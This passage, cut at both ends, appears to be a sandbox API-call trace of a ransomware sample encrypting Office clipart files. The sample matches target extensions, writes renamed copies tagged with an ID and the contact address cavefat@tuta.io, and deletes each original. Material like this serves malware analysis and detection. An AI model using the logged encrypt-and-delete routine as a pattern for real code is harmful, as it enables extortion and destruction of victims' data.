(lpString1=".jpg", lpString2=".WMF") returned -1 [0237.860] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0237.860] lstrlenW (lpString="J0152882.WMF") returned 12 [0237.860] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152882.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152882.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c [0237.935] GetFileSizeEx (in: hFile=0x55c, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=9072) returned 1 [0237.935] CloseHandle (hObject=0x55c) returned 1 [0237.935] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152882.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152882.wmf")) returned 0x220 [0238.016] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152882.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152882.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0238.062] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152882.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152882.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0238.375] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0238.375] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0238.375] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152882.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152882.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0238.376] GetLastError () returned 0x0 [0238.376] ReadFile (in: hFile=0x544, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x2370, lpOverlapped=0x0) returned 1 [0238.378] WriteFile (in: hFile=0x4d4, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0x2380, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0x2380, lpOverlapped=0x0) returned 1 [0238.378] ReadFile (in: hFile=0x544, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0238.378] WriteFile (in: hFile=0x4d4, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0xec, lpOverlapped=0x0) returned 1 [0238.379] SetEndOfFile (hFile=0x4d4) returned 1 [0238.379] CloseHandle (hObject=0x4d4) returned 1 [0238.379] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0238.379] SetEndOfFile (hFile=0x544) returned 1 [0238.381] CloseHandle (hObject=0x544) returned 1 [0238.381] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152882.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0238.381] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152882.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152882.wmf")) returned 1 [0238.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152882.WMF") returned 68 [0238.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152882.WMF") returned 68 [0238.382] lstrlenW (lpString=".doc") returned 4 [0238.382] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0238.382] lstrlenW (lpString=".docx") returned 5 [0238.382] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0238.382] lstrlenW (lpString=".pdf") returned 4 [0238.382] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0238.382] lstrlenW (lpString=".xls") returned 4 [0238.382] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0238.383] lstrlenW (lpString=".xlsx") returned 5 [0238.383] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0238.383] lstrlenW (lpString=".ppt") returned 4 [0238.383] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0238.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152882.WMF") returned 68 [0238.383] lstrlenW (lpString=".zip") returned 4 [0238.383] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0238.383] lstrlenW (lpString=".rar") returned 4 [0238.383] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0238.383] lstrlenW (lpString=".bz2") returned 4 [0238.383] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0238.383] lstrlenW (lpString=".7z") returned 3 [0238.383] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0238.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152882.WMF") returned 68 [0238.383] lstrlenW (lpString=".dbf") returned 4 [0238.383] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0238.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152882.WMF") returned 68 [0238.383] lstrlenW (lpString=".1cd") returned 4 [0238.383] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0238.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152882.WMF") returned 68 [0238.383] lstrlenW (lpString=".jpg") returned 4 [0238.383] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0238.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152882.WMF") returned 68 [0238.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152882.WMF") returned 68 [0238.383] lstrlenW (lpString=".doc") returned 4 [0238.383] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0238.383] lstrlenW (lpString=".docx") returned 5 [0238.383] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0238.383] lstrlenW (lpString=".pdf") returned 4 [0238.383] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0238.383] lstrlenW (lpString=".xls") returned 4 [0238.383] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0238.383] lstrlenW (lpString=".xlsx") returned 5 [0238.383] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0238.383] lstrlenW (lpString=".ppt") returned 4 [0238.383] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0238.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152882.WMF") returned 68 [0238.383] lstrlenW (lpString=".zip") returned 4 [0238.383] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0238.383] lstrlenW (lpString=".rar") returned 4 [0238.383] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0238.383] lstrlenW (lpString=".bz2") returned 4 [0238.383] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0238.383] lstrlenW (lpString=".7z") returned 3 [0238.383] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0238.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152882.WMF") returned 68 [0238.384] lstrlenW (lpString=".dbf") returned 4 [0238.384] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0238.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152882.WMF") returned 68 [0238.384] lstrlenW (lpString=".1cd") returned 4 [0238.384] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0238.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152882.WMF") returned 68 [0238.384] lstrlenW (lpString=".jpg") returned 4 [0238.384] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0238.384] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0238.384] lstrlenW (lpString="J0153087.WMF") returned 12 [0238.384] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153087.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153087.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0238.385] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=1912) returned 1 [0238.385] CloseHandle (hObject=0x544) returned 1 [0238.385] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153087.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153087.wmf")) returned 0x220 [0238.385] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153087.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153087.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0238.385] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153087.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153087.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0238.386] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0238.386] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0238.386] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153087.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153087.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0238.387] GetLastError () returned 0x0 [0238.387] ReadFile (in: hFile=0x544, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x778, lpOverlapped=0x0) returned 1 [0238.388] WriteFile (in: hFile=0x4d4, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0x780, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0x780, lpOverlapped=0x0) returned 1 [0238.389] ReadFile (in: hFile=0x544, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0238.389] WriteFile (in: hFile=0x4d4, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0xec, lpOverlapped=0x0) returned 1 [0238.389] SetEndOfFile (hFile=0x4d4) returned 1 [0238.390] CloseHandle (hObject=0x4d4) returned 1 [0238.390] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0238.390] SetEndOfFile (hFile=0x544) returned 1 [0238.392] CloseHandle (hObject=0x544) returned 1 [0238.392] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153087.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0238.392] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153087.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153087.wmf")) returned 1 [0238.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153087.WMF") returned 68 [0238.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153087.WMF") returned 68 [0238.393] lstrlenW (lpString=".doc") returned 4 [0238.393] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0238.393] lstrlenW (lpString=".docx") returned 5 [0238.393] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0238.393] lstrlenW (lpString=".pdf") returned 4 [0238.393] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0238.393] lstrlenW (lpString=".xls") returned 4 [0238.393] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0238.393] lstrlenW (lpString=".xlsx") returned 5 [0238.393] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0238.393] lstrlenW (lpString=".ppt") returned 4 [0238.393] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0238.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153087.WMF") returned 68 [0238.393] lstrlenW (lpString=".zip") returned 4 [0238.393] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0238.393] lstrlenW (lpString=".rar") returned 4 [0238.393] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0238.393] lstrlenW (lpString=".bz2") returned 4 [0238.393] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0238.393] lstrlenW (lpString=".7z") returned 3 [0238.393] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0238.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153087.WMF") returned 68 [0238.394] lstrlenW (lpString=".dbf") returned 4 [0238.394] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0238.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153087.WMF") returned 68 [0238.394] lstrlenW (lpString=".1cd") returned 4 [0238.394] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0238.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153087.WMF") returned 68 [0238.394] lstrlenW (lpString=".jpg") returned 4 [0238.394] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0238.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153087.WMF") returned 68 [0238.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153087.WMF") returned 68 [0238.394] lstrlenW (lpString=".doc") returned 4 [0238.394] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0238.394] lstrlenW (lpString=".docx") returned 5 [0238.394] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0238.394] lstrlenW (lpString=".pdf") returned 4 [0238.394] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0238.394] lstrlenW (lpString=".xls") returned 4 [0238.394] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0238.394] lstrlenW (lpString=".xlsx") returned 5 [0238.394] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0238.394] lstrlenW (lpString=".ppt") returned 4 [0238.394] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0238.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153087.WMF") returned 68 [0238.394] lstrlenW (lpString=".zip") returned 4 [0238.394] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0238.394] lstrlenW (lpString=".rar") returned 4 [0238.394] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0238.394] lstrlenW (lpString=".bz2") returned 4 [0238.394] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0238.394] lstrlenW (lpString=".7z") returned 3 [0238.394] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0238.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153087.WMF") returned 68 [0238.394] lstrlenW (lpString=".dbf") returned 4 [0238.394] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0238.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153087.WMF") returned 68 [0238.394] lstrlenW (lpString=".1cd") returned 4 [0238.394] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0238.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153087.WMF") returned 68 [0238.394] lstrlenW (lpString=".jpg") returned 4 [0238.394] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0238.395] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0238.395] lstrlenW (lpString="J0153089.WMF") returned 12 [0238.395] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153089.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153089.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0238.395] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=7848) returned 1 [0238.395] CloseHandle (hObject=0x544) returned 1 [0238.395] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153089.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153089.wmf")) returned 0x220 [0238.395] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153089.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153089.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0238.396] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153089.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153089.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0238.396] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0238.396] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0238.396] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153089.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153089.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0238.397] GetLastError () returned 0x0 [0238.397] ReadFile (in: hFile=0x544, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x1ea8, lpOverlapped=0x0) returned 1 [0238.398] WriteFile (in: hFile=0x4d4, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0x1eb0, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0x1eb0, lpOverlapped=0x0) returned 1 [0238.399] ReadFile (in: hFile=0x544, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0238.399] WriteFile (in: hFile=0x4d4, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0xec, lpOverlapped=0x0) returned 1 [0238.399] SetEndOfFile (hFile=0x4d4) returned 1 [0238.399] CloseHandle (hObject=0x4d4) returned 1 [0238.399] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0238.400] SetEndOfFile (hFile=0x544) returned 1 [0238.402] CloseHandle (hObject=0x544) returned 1 [0238.402] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153089.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0238.402] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153089.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153089.wmf")) returned 1 [0238.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153089.WMF") returned 68 [0238.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153089.WMF") returned 68 [0238.403] lstrlenW (lpString=".doc") returned 4 [0238.403] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0238.403] lstrlenW (lpString=".docx") returned 5 [0238.403] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0238.403] lstrlenW (lpString=".pdf") returned 4 [0238.403] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0238.404] lstrlenW (lpString=".xls") returned 4 [0238.404] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0238.404] lstrlenW (lpString=".xlsx") returned 5 [0238.404] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0238.404] lstrlenW (lpString=".ppt") returned 4 [0238.404] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0238.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153089.WMF") returned 68 [0238.404] lstrlenW (lpString=".zip") returned 4 [0238.404] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0238.404] lstrlenW (lpString=".rar") returned 4 [0238.404] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0238.404] lstrlenW (lpString=".bz2") returned 4 [0238.404] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0238.404] lstrlenW (lpString=".7z") returned 3 [0238.404] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0238.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153089.WMF") returned 68 [0238.404] lstrlenW (lpString=".dbf") returned 4 [0238.404] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0238.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153089.WMF") returned 68 [0238.404] lstrlenW (lpString=".1cd") returned 4 [0238.404] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0238.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153089.WMF") returned 68 [0238.404] lstrlenW (lpString=".jpg") returned 4 [0238.404] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0238.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153089.WMF") returned 68 [0238.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153089.WMF") returned 68 [0238.404] lstrlenW (lpString=".doc") returned 4 [0238.404] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0238.404] lstrlenW (lpString=".docx") returned 5 [0238.404] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0238.404] lstrlenW (lpString=".pdf") returned 4 [0238.404] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0238.404] lstrlenW (lpString=".xls") returned 4 [0238.404] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0238.404] lstrlenW (lpString=".xlsx") returned 5 [0238.404] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0238.404] lstrlenW (lpString=".ppt") returned 4 [0238.404] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0238.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153089.WMF") returned 68 [0238.404] lstrlenW (lpString=".zip") returned 4 [0238.404] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0238.404] lstrlenW (lpString=".rar") returned 4 [0238.405] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0238.405] lstrlenW (lpString=".bz2") returned 4 [0238.405] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0238.405] lstrlenW (lpString=".7z") returned 3 [0238.405] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0238.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153089.WMF") returned 68 [0238.405] lstrlenW (lpString=".dbf") returned 4 [0238.405] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0238.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153089.WMF") returned 68 [0238.405] lstrlenW (lpString=".1cd") returned 4 [0238.405] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0238.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153089.WMF") returned 68 [0238.405] lstrlenW (lpString=".jpg") returned 4 [0238.405] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0238.405] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0238.405] lstrlenW (lpString="J0153091.WMF") returned 12 [0238.405] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153091.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153091.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0238.406] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x35dff14 | out: 